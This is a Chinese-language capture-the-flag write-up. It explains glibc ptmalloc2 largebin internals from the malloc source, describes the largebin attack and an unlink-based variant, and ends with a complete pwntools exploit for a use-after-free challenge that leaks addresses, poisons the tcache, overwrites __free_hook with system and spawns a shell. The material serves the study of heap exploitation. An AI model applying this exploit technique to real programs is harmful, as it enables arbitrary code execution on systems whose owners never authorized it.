Pwn Ptmalloc2 Largebin Attack

Largebin 管理更大的堆块, 但是他的每个 bin 中的堆块大小不是一样的. 具体来说, 是这样的:

size index
64 [0x400, 0x440)
65 [0x440, 0x480)
66 [0x480, 0x4C0)
67 [0x4C0, 0x500)
68 [0x500, 0x540)
等差 0x40
96 [0xC00, 0xC40)
97 [0xC40, 0xE00)
98 [0xE00, 0x1000)
99 [0x1000, 0x1200)
100 [0x1200, 0x1400)
101 [0x1400, 0x1600)
等差 0x200
111 [0x2800, 0x2A00)
112 [0x2A00, 0x3000)
113 [0x3000, 0x4000)
114 [0x4000, 0x5000)
等差 0x1000
119 [0x9000, 0xA000)
120 [0xA000, 0x10000)
121 [0x10000, 0x18000)
122 [0x18000, 0x20000)
123 [0x20000, 0x28000)
124 [0x28000, 0x40000)
125 [0x40000, 0x80000)
126 [0x80000, $\infty$)

每一个 bin 维护堆块是有序的, 从大到小, 用双链表维护. 为了加速检索, 还使用了两个指针 fd_nextsizebk_nextsize, 分别指向下一个更小的堆块和上一个更大的堆块, 也是双向循环链表. 不过, 不是所有堆块都需要这两个指针, 每个大小相同的堆块选择最头上的一个, 维护这两个指针, 便可以根据这两个指针来进行索引了. 比如:

b i n b k _ n e x t s i z e 0 x 4 2 0 f d _ n e x t s i z e 0 x 4 2 0 b k _ n e x t s i z e 0 x 4 1 0 f d _ n b e k x _ t n s e i x z t e s i z e 0 x 4 0 0 f d _ n e x t s i z e

释放一个 large chunk 并不会马上放入 largebin, 而是放入 unsorted bin, 接下来 malloc 在 unsorted bin 中遍历的时候, 如果当前 chunk 不合适, 会从 unsorted bin 中取出, 放入对应的 bin 里. 在这里才放到 largebin 中.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          size = chunksize (victim);
          mchunkptr next = chunk_at_offset (victim, size);
          ... // 当前 chunk 无法满足
          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);
          /* Take now instead of binning if exact fit */
          if (size == nb)
            {
              ...
            }
          /* place chunk in bin */
          if (in_smallbin_range (size))
            {
              ...
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
          < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
        assert (chunk_main_arena (fwd));
                        }
                      if ((unsigned long) size
        == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }
          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;
        }
    }

放进 largebin 的部分主要在 esle 这个分支里. 代码稍显复杂, 不过简单来说就是维护有序的两个双向链表.

当 bin 中有 chunk 时, 是这样维护 nextsize 双向链表 (好像叫 skip list) 的:

  1. 如果当前 chunk 比最小的还要小, 链接在最后面, 维护 skip list:
1
2
3
4
5
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
  1. 否则从第一个 chunk 开始, 通过 fd_nextsize 去找到应该插在哪个 chunk 前面, 此时 fwd 是第一个 size 小于等于它的:
1
2
3
4
    while ((unsigned long) size < chunksize_nomask (fwd))
      {
        fwd = fwd->fd_nextsize;
      }
  1. 如果 size 是等于它的, 把 fwd 改成下一个, 也就是打算插在它的后面. 这样可以减少修改 skip list:
1
2
3
    if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
      /* Always insert in the second position.  */
      fwd = fwd->fd;
  1. 否则插入到这里, 维护 skip list:
1
2
3
4
5
6
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
      malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;

最后维护 fd 和 bk 的双向链表:

1
2
3
4
5
    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

当 unsorted bin 中没有正好大小一致的 chunk, unsorted bin 被清空. 接下来执行到这里.

在对应的 bin 中找:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
     /*
       If a large request, scan through the chunks of current bin in
       sorted order to find smallest that fits.  Use the skip list for this.
     */
    if (!in_smallbin_range (nb))
      {
        bin = bin_at (av, idx);
        /* skip scan if empty or largest chunk is too small */
        if ((victim = first (bin)) != bin
      && (unsigned long) chunksize_nomask (victim)
        >= (unsigned long) (nb))
          {
            victim = victim->bk_nextsize;
            while (((unsigned long) (size = chunksize (victim)) <
                    (unsigned long) (nb)))
              victim = victim->bk_nextsize;
            /* Avoid removing the first entry for a size so that the skip
               list does not have to be rerouted.  */
            if (victim != last (bin)
    && chunksize_nomask (victim)
      == chunksize_nomask (victim->fd))
              victim = victim->fd;
            remainder_size = size - nb;
            unlink_chunk (av, victim);
            /* Exhaust */
            if (remainder_size < MINSIZE)
              {
                set_inuse_bit_at_offset (victim, size);
                if (av != &main_arena)
      set_non_main_arena (victim);
              }
            /* Split */
            else
              {
                remainder = chunk_at_offset (victim, nb);
                /* We cannot assume the unsorted list is empty and therefore
                   have to perform a complete insert here.  */
                bck = unsorted_chunks (av);
                fwd = bck->fd;
    if (__glibc_unlikely (fwd->bk != bck))
      malloc_printerr ("malloc(): corrupted unsorted chunks");
                remainder->bk = bck;
                remainder->fd = fwd;
                bck->fd = remainder;
                fwd->bk = remainder;
                if (!in_smallbin_range (remainder_size))
                  {
                    remainder->fd_nextsize = NULL;
                    remainder->bk_nextsize = NULL;
                  }
                set_head (victim, nb | PREV_INUSE |
                          (av != &main_arena ? NON_MAIN_ARENA : 0));
                set_head (remainder, remainder_size | PREV_INUSE);
                set_foot (remainder, remainder_size);
              }
            check_malloced_chunk (av, victim, nb);
            void *p = chunk2mem (victim);
            alloc_perturb (p, bytes);
            return p;
          }
      }
  1. 如果空或者第一个 (最大的) 不够, 则整个 bin 的都不够, 就不用找这个 bin 了:
1
2
3
4
5
    if ((victim = first (bin)) != bin &&
        (unsigned long) chunksize_nomask (victim) >= (unsigned long) (nb))
      {
        ...
      }
  1. 通过 fd_nextsize 去找到第一个满足条件的最小 chunk, 如果它的下一个 chunk 的 size 和这个一样, 那么找到下一个 chunk, 因为释放这个不需要去重新维护 skip list. unlink 取出这个 chunk.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    victim = victim->bk_nextsize;
    while (((unsigned long) (size = chunksize (victim)) <
            (unsigned long) (nb)))
      victim = victim->bk_nextsize;
    /* Avoid removing the first entry for a size so that the skip
       list does not have to be rerouted.  */
    if (victim != last (bin) &&
        chunksize_nomask (victim) == chunksize_nomask (victim->fd))
      victim = victim->fd;
    remainder_size = size - nb;
    unlink_chunk (av, victim);

这里的 unlink_chunk 是一个函数, 它同时负责 unlink 两个链表, 并检查他们的完整性.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
    || p->bk_nextsize->fd_nextsize != p)
  malloc_printerr ("corrupted double-linked list (not small)");
      if (fd->fd_nextsize == NULL)
  {
    if (p->fd_nextsize == p)
      fd->fd_nextsize = fd->bk_nextsize = fd;
    else
      {
        fd->fd_nextsize = p->fd_nextsize;
        fd->bk_nextsize = p->bk_nextsize;
        p->fd_nextsize->bk_nextsize = fd;
        p->bk_nextsize->fd_nextsize = fd;
      }
  }
      else
  {
    p->fd_nextsize->bk_nextsize = p->bk_nextsize;
    p->bk_nextsize->fd_nextsize = p->fd_nextsize;
  }
    }
}
  1. 判断剩余大小是否能够再构成一个 chunk. 如果不可以, 则返回整个 chunk. 如果可以, 则切割, 并将剩余的放入 unsorted bin 中:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
    /* Exhaust */
    if (remainder_size < MINSIZE)
      {
        set_inuse_bit_at_offset (victim, size);
        if (av != &main_arena)
          set_non_main_arena (victim);
      }
    /* Split */
    else
      {
        remainder = chunk_at_offset (victim, nb);
        /* We cannot assume the unsorted list is empty and therefore
           have to perform a complete insert here.  */
        bck = unsorted_chunks (av);
        fwd = bck->fd;
        if (__glibc_unlikely (fwd->bk != bck))
            malloc_printerr ("malloc(): corrupted unsorted chunks");
        remainder->bk = bck;
        remainder->fd = fwd;
        bck->fd = remainder;
        fwd->bk = remainder;
        if (!in_smallbin_range (remainder_size))
          {
            remainder->fd_nextsize = NULL;
            remainder->bk_nextsize = NULL;
          }
        set_head (victim, nb | PREV_INUSE |
                  (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head (remainder, remainder_size | PREV_INUSE);
        set_foot (remainder, remainder_size);
      }

在更大的 bin 中找:

注意
这一步不仅仅是 large request 的, small request 也会跑到这里来. 假设一个 small request 在对应的 smallbin 中没有, 但是更大的 smallbin (或者 largebin) 中有, 也会被取到.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
       /*
         Search for a chunk by scanning bins, starting with next largest
         bin. This search is strictly by best-fit; i.e., the smallest
         (with ties going to approximately the least recently used) chunk
         that fits is selected.
         The bitmap avoids needing to check that most blocks are nonempty.
         The particular case of skipping all bins during warm-up phases
         when no chunks have been returned yet is faster than it might look.
       */
      ++idx;
      bin = bin_at (av, idx);
      block = idx2block (idx);
      map = av->binmap[block];
      bit = idx2bit (idx);
      for (;; )
        {
          /* Skip rest of block if there are no more set bits in this block.  */
          if (bit > map || bit == 0)
            {
              do
                {
                  if (++block >= BINMAPSIZE) /* out of bins */
                    goto use_top;
                }
              while ((map = av->binmap[block]) == 0);
              bin = bin_at (av, (block << BINMAPSHIFT));
              bit = 1;
            }
          /* Advance to bin with set bit. There must be one. */
          while ((bit & map) == 0)
            {
              bin = next_bin (bin);
              bit <<= 1;
              assert (bit != 0);
            }
          /* Inspect the bin. It is likely to be non-empty */
          victim = last (bin);
          /*  If a false alarm (empty bin), clear the bit. */
          if (victim == bin)
            {
              av->binmap[block] = map &= ~bit; /* Write through */
              bin = next_bin (bin);
              bit <<= 1;
            }
          else
            {
              size = chunksize (victim);
              /*  We know the first chunk in this bin is big enough to use. */
              assert ((unsigned long) (size) >= (unsigned long) (nb));
              remainder_size = size - nb;
              /* unlink */
              unlink_chunk (av, victim);
              /* Exhaust */
              if (remainder_size < MINSIZE)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
        set_non_main_arena (victim);
                }
              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb);
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
        malloc_printerr ("malloc(): corrupted unsorted chunks 2");
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                  /* advertise as last remainder */
                  if (in_smallbin_range (nb))
                    av->last_remainder = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }

ptmalloc2 用 4 个 32bit 的 block 来记录 bin 中是否最近有过 chunk. 如果某一位是 1, 则表示这一位对应的 bin 可能有 chunk. 这里用一位的近似 LRU 来实现.

  1. 因为在申请大小对应的 largebin 中并没有合适的 chunk, 所以往下一个 bin 中找, 也就是代码中的 ++idx. 然后找到对应的 block. 代码中的 block 是下标, 从 av 中取出然值后给 map. 找到 idx 对应的 bin 应该是 map 中的哪一位 bit. 这里的 bit 是 32 位数, 只有一位是 1.
1
2
3
4
5
    ++idx;
    bin = bin_at (av, idx);
    block = idx2block (idx);
    map = av->binmap[block];
    bit = idx2bit (idx);
  1. 进入循环. 先找一整个 block 中, 有没有比 bit 对应的要大的. 判断的方法非常简单, 和 map 做比较即可. 因为如果有比他大的或者和它一样大的, 那么 map 中一定有一位 1 比他大或者和它一样, 则一定有 map >= bit.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    if (bit > map || bit == 0)
      {
        do
          {
            if (++block >= BINMAPSIZE) /* out of bins */
              goto use_top;
          }
        while ((map = av->binmap[block]) == 0);
        bin = bin_at (av, (block << BINMAPSHIFT));
        bit = 1;
      }
  1. 找到这个 block 中, 最小满足条件的 bin:
1
2
3
4
5
6
7
    /* Advance to bin with set bit. There must be one. */
    while ((bit & map) == 0)
      {
        bin = next_bin (bin);
        bit <<= 1;
        assert (bit != 0);
      }
  1. 根据 LRU, 找到的这个 bit 对应的 bin 中很可能有, 但是也可能没有. 如果没有, 则清除 map 对应的这个 bit, bit 往上一位, 重新循环找. 如果有, 则取出并返回. 取出和之前的几乎一模一样, 除了多设置了一个 last remainder, 不再赘述.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    /* Inspect the bin. It is likely to be non-empty */
    victim = last (bin);
    /*  If a false alarm (empty bin), clear the bit. */
    if (victim == bin)
      {
        av->binmap[block] = map &= ~bit; /* Write through */
        bin = next_bin (bin);
        bit <<= 1;
      }
    else {
        remainder = chunk_at_offset (victim, nb);
        /* We cannot assume the unsorted list is empty and therefore
           have to perform a complete insert here.  */
        bck = unsorted_chunks (av);
        fwd = bck->fd;
        if (__glibc_unlikely (fwd->bk != bck))
          malloc_printerr ("malloc(): corrupted unsorted chunks 2");
        remainder->bk = bck;
        remainder->fd = fwd;
        bck->fd = remainder;
        fwd->bk = remainder;
        /* advertise as last remainder */
        if (in_smallbin_range (nb))
          av->last_remainder = remainder;
        if (!in_smallbin_range (remainder_size))
          {
            remainder->fd_nextsize = NULL;
            remainder->bk_nextsize = NULL;
          }
        set_head (victim, nb | PREV_INUSE |
                  (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head (remainder, remainder_size | PREV_INUSE);
        set_foot (remainder, remainder_size);
      }

largebin 很难做任意地址分配, 因为 unlink 需要伪造, 顶多可以造成堆重叠. 一般来说, largebin attack 是任意地址写一个堆地址.

当 victim chunk (遍历 unsorted bin 的当前 chunk) 比对应 largebin 中的 chunk 都要小时, 直接链接在 bin 的末尾, 维护 skip list, 代码如下:

1
2
3
4
5
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

注意最后两行:

1
2
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    victim->bk_nextsize->fd_nextsize = victim;

如果可以修改 fwd->fd 的 bk_nextsize, 假设修改为 addr, 那么便可以在 addr + 0x20 的地方写上当前堆地址.

最简单的一种辅助利用就是覆盖 global_max_fast 或者 mp_.tcache_bins 为这个堆地址 (很大的值), 从而进行 fastbin 或者 tcache attack.

更加深入的利用要会涉及到 IO FILE, 如 house of emma, house of apple, 或者利用 _rtld_global 的如 house of bnana.

先放入后取出

学到一个非常巧妙的技巧. 整个过程大概是这样的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
add(0, 0x510)
add(1, 0x500)
add(2, 0x500)
add(3, 0x500)

free(0)
free(2)
show(0)           # leak libc and heap

add(4, 0x500)     # chunk_4 = chunk_2
free(4)

edit(0, payload)  # overwirte bk_nextsize = &target - 0x20
add(5, 0x520)     # put chunk_2 into largebin, target = chunk_2

add(6, 0x500)     # get chunk_2 from largebin, target = chunk_0

这样一套流程下来, target 会被写成 chunk 0 的地址! 于是我们只用在 chunk 0 处伪造 IO FILE 或者其他东西, 仅需 7 次 add 和 一次 edit! 非常奇妙!

可以看到, 关键点在最后一个 add, 把刚刚 largebin attack 放进去的 chunk 又取了出来.

放进去后, largebin 链表和 target 如下:

b i n b k _ n e x t s i z e C 0 f d _ n e x t f s d i _ z n e e x t s i C z e 2 & & t t a a r r g & g e C e t 2 t - 0 x 2 0

接下来看 unlink 的代码. 由于 fd 和 bk 完全没有被修改, 所以不需要看, 肯定是能通过检查并且正常进行的. 看关于 skip link 的检查, 只有这一部分:

1
2
3
      if (p->fd_nextsize->bk_nextsize != p
    || p->bk_nextsize->fd_nextsize != p)
  malloc_printerr ("corrupted double-linked list (not small)");

这一句只检查将要被取出的 chunk 的链表完整性. p->bk_nextsize (&target - 0x20) + 0x20 也被之前的 largebin attack 写成了 chunk 2, 也就是 p. 所以这里是 能够通过 的.

最后通过这两句来 unlink sikp link:

1
2
    p->fd_nextsize->bk_nextsize = p->bk_nextsize;
    p->bk_nextsize->fd_nextsize = p->fd_nextsize;

可以看到, p->bk_nextsize->fd_nextsize (target) 被赋值成了 p->fd_nextsize, 也就是 chunk 0.

这个技巧在仅允许一次写操作的时候非常有用, 在 largebin attack 编辑 chunk 0 的同时就可以伪造 IO FILE 或者其他结构体. 而原先的方法需要在 chunk 2 上进行伪造, 多了一次写.

这么巧妙的技巧为什么我找不到相关博客, 是大家都会吗, 果然还是我太菜了

glibc 2.32, 保护全开, 菜单题, 增删改查一应俱全, 漏洞是 UAF, 最多使用 16 个. add 限制了 chunk 大小在 0x510 到 0x910 之间.

首先 leak libc 和 heap.

释放两个隔开的 chunk (假设 0x520) 到 unsorted bin 中, 然后申请一个更大的, 便可以将两个 chunk 放入 largebin 中. 此时任意一个的 fd 和 bk 都是 libc 或者 heap. 随便打印一个即可泄漏.

接下来尝试 largebin attack 覆盖 mp_.tcache_bins.

此时 largebin 如下:

b i n b k _ n e x t s i z e 0 x 5 2 0 f d _ n e x t s i z e 0 x 5 2 0

需要将一个 0x510 的 chunk 放入这个 bin 中. 这里我的 0x510 的 chunk 是事先申请的, 应该也可以在这里申请, 只不过会把第二个拆掉罢了. 修改第一个 chunk 的 bk_nextsize 为 &mp_.tcache_bins - 0x20

之后便可以用 tcache poisoning 修改 free hook 为 system, free 一个写有 “/bin/sh” 的 chunk get shell.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
from pwn import *
context(os='linux', arch='amd64')#, log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

# io = process(procname, stdin=PTY)
io = remote('week-3.hgame.lwsec.cn', 31003)
elf = ELF(procname)
libc = ELF(libcname)

n2b  = lambda x    : str(x).encode()
sa   = lambda p, s : io.sendafter(p, s)
sla  = lambda p, s : io.sendlineafter(p, s)
sna  = lambda p, n : sla(p, n2b(n))
itr  = lambda      : io.interactive()

def leakaddr(pre = None, suf = None, bit = 64, keepends = True, off = 0):
    u = {64: u64, 32: u32}
    num = 6 if bit == 64 else 4
    if pre is not None:
        io.recvuntil(pre)
    if suf is not None:
        r = io.recvuntil(suf)
        if not keepends:
            r = r[:-1]
        r = r[-num:]
    else:
        r = io.recv(num)
    return u[bit](r.ljust(bit//8, b'\0')) - off

prompt      = b': '
prompt_menu = b'>'
prompt_idx  = prompt

op   = lambda x : sla(prompt_menu, n2b(x))
snap = lambda n : sna(prompt, n)
sidx = lambda x : sla(prompt_idx, n2b(x))
sap  = lambda s : sa(prompt, s)
slap = lambda s : sla(prompt, s)

def add(idx, size):
    op(1)
    sidx(idx)
    snap(size)

def edit(idx, content):
    op(3)
    sidx(idx)
    sap(content)

def show(idx):
    op(4)
    sidx(idx)

def free(idx):
    op(2)
    sidx(idx)

add(0, 0x510)
add(1, 0x500)
add(2, 0x510)
add(3, 0x500)
add(4, 0x500)

free(0)
free(2)
add(5, 0x520)

show(0)
heap = leakaddr(off=0xcc0)
success(f'leak heap: {hex(heap)}')
edit(0, b'a'*8)
show(0)
libc.address = leakaddr(pre=b'a'*8, off=0x1e4030)
success(f'leak libc.address: {hex(libc.address)}')
edit(0, p64(heap + 0xcc0))

mp = libc.address + 0x001e3280
success(f'mp_ : {hex(mp)}')
tcache_bins = mp + 0x50
fake_chunk = tcache_bins - 0x20

free(4)
payload = flat([
    p64(heap + 0xcc0),
    p64(libc.address + 0x1e4030),
    p64(heap + 0x290),
    p64(fake_chunk),
])
edit(0, payload)
add(6, 0x520)

ptr = libc.sym.__free_hook
pos = heap + 0x2670
fd = (pos >> 12) ^ ptr
add(7, 0x600)
add(8, 0x600)
free(8)
free(7)
edit(7, p64(fd))
add(9, 0x600)
add(10, 0x600)
edit(10, p64(libc.sym.system))
edit(9, b'/bin/sh')
free(9)

itr()